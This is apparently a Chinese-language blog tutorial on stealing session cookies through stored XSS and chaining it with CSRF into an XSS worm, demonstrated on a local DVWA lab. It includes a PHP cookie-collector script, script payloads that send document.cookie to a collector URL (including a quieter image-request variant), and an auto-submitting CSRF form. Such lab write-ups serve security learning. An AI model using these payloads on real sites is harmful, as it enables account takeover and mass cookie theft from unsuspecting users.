xss利用

xss盜取cookie

什麼是cookie

cookie是曲奇餅,啊開個玩笑,cookie是每個用戶登錄唯一id和賬號密碼一樣可以登錄到網站,是的你沒有聽錯cookie可以直接登錄,至於服務器怎麼設置cookie
和cookie存儲這裡就不說了,需的要自行百度

xss盜取cookie(dvwa演示)

學習xss時覺得啊這,不就是一個彈窗嗎,有啥用,經過學習後發現xss的危害還是挺大的,彈窗的目的只是說明這裡可以執行動態腳本,那就可以干很多事情了

環境配置

官網://www.dvwa.co.uk/
下載地址://github.com/ethicalhack3r/DVWA
下載方式:zip下載或git //github.com/ethicalhack3r/DVWA
下載完成放入http服務下即可
我使用的是phpstudy下載地址://m.xp.cn/

設置接受盜取cookie方式

xss盜取的cookie肯定是要保存到我們自己的服務器上,可以設置一個接受cookie的php網頁代碼接受到請求攜帶cookie後保存到文件或者數據庫中等都可以,當然也可以不設置存儲,隨便請求一個一個服務器網頁存在不存在無所謂,因為請求可以保存到日誌文件,但是看起來可能不方便而已,下面是保存cookie的php代碼

<?php

if(isset($_GET['cookie']))                 //如果接收到cookie
{
	$file = fopen('./cookie.txt', 'a');    //打開存儲的文件
	fwrite($file, $_GET['cookie']."\r\n"); //將獲取的cookie存儲
	fclose($file);                         //關閉文件
}

放置xss(這裡用存儲型xss測試)

<script>document.location='//127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>

我這裡用的本地的測試,document.cookie,就是獲取cookie,然後攜帶cookie訪問//127.0.0.1/cookies/cookies.php?(換成自己服務器ip就可以了,這裡我本地測試),先查看一下我們的cookie

然後點擊我們放存儲型xss的地方(xss(stored)),發現跳轉到了令一個網站,並且攜帶了你的cookie

在到cookie.php目錄查看cookie.txt,可以發現cookie已經被存儲,cookie被盜取,我們可以利用cookie進行登錄

這種動靜可能有點大,可以用js加載圖片的方式來發送帶有cookie的請求,

<script>new Image().src = '//127.0.0.1/cookies/cookies.php?cookie='+document.cookie;</script>

使用new Image()進行預加載

當然如果你還有其動靜小的方法可以留言,當然還可以用來加載其他的xss神器js代碼

<script src=''>

xss蠕蟲

前提條件

有存儲型xss,可以csrf

原理(個人理解,如有錯誤可以評論聯繫我)

相關代碼(只是簡單的,有過濾,要考慮繞過)

主體存儲xss

<script>document.location='csrf地址';</script>

csrf生成
用burpsuite抓包,右鍵,如圖選擇,copy複製,然後放到自己服務器等等,當然也可以自己編寫csrf的poc,使之功能更加強大,可以自己點擊等等,還有一些繞過等等,這只是簡單的csrf的poc


csrf演示代碼,抓取的dvwa包加了js自動點擊

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="//127.0.0.1/lmg/vulnerabilities/xss_s/index.php" method="POST">
      <input type="hidden" name="txtName" value="æµ&#139;è&#175;&#149;" />
      <input type="hidden" name="mtxMessage" value="æµ&#139;è&#175;&#149;" />
      <input type="hidden" name="btnSign" value="Sign&#32;Guestbook" />
      <input type="submit" value="Submit request" />
    </form>
  <script type="text/javascript">                          // js自動點擊
      var form = document.getElementsByTagName('form')[0];
      var input = document.getElementsByTagName('input')[3];
      input.value = window.location.hash.substr(1);
      form.submit();
  </script>
  </body>
</html>

受害者儲存xss和主體xss類似只是跳轉的網頁不同

<script>document.location='csrf地址';</script>

個人思考

xss的蠕蟲利用起來還是比較難的,要有存儲型xss(還要各種繞過),和csrf,但是危害是很大的,不僅僅是傳播文章,可以利用這個傳播盜取更多人cookie,個人信息,位置,瀏覽器版本安裝軟件等等

xss利用的思考(持續思考)

像反射型xss,dom型的xss不在局限於點一個很長的鏈接,可以利用其他第三方網站來跳轉,也可以利用短鏈接,也可以利用二維碼,二維碼捆綁一個鏈接,所以掃描未知二維碼是非常危險的事情
像存儲型xss,可以利用儲存型xss對其他網站進行流量攻擊

參考文章與說明

技術討論 | 記一次XSS蠕蟲滲透實驗
最後歡迎訪問我的個人博客://lmg66.github.io/
說明:本文僅限技術研究與討論,嚴禁用於非法用途,否則產生的一切後果自行承擔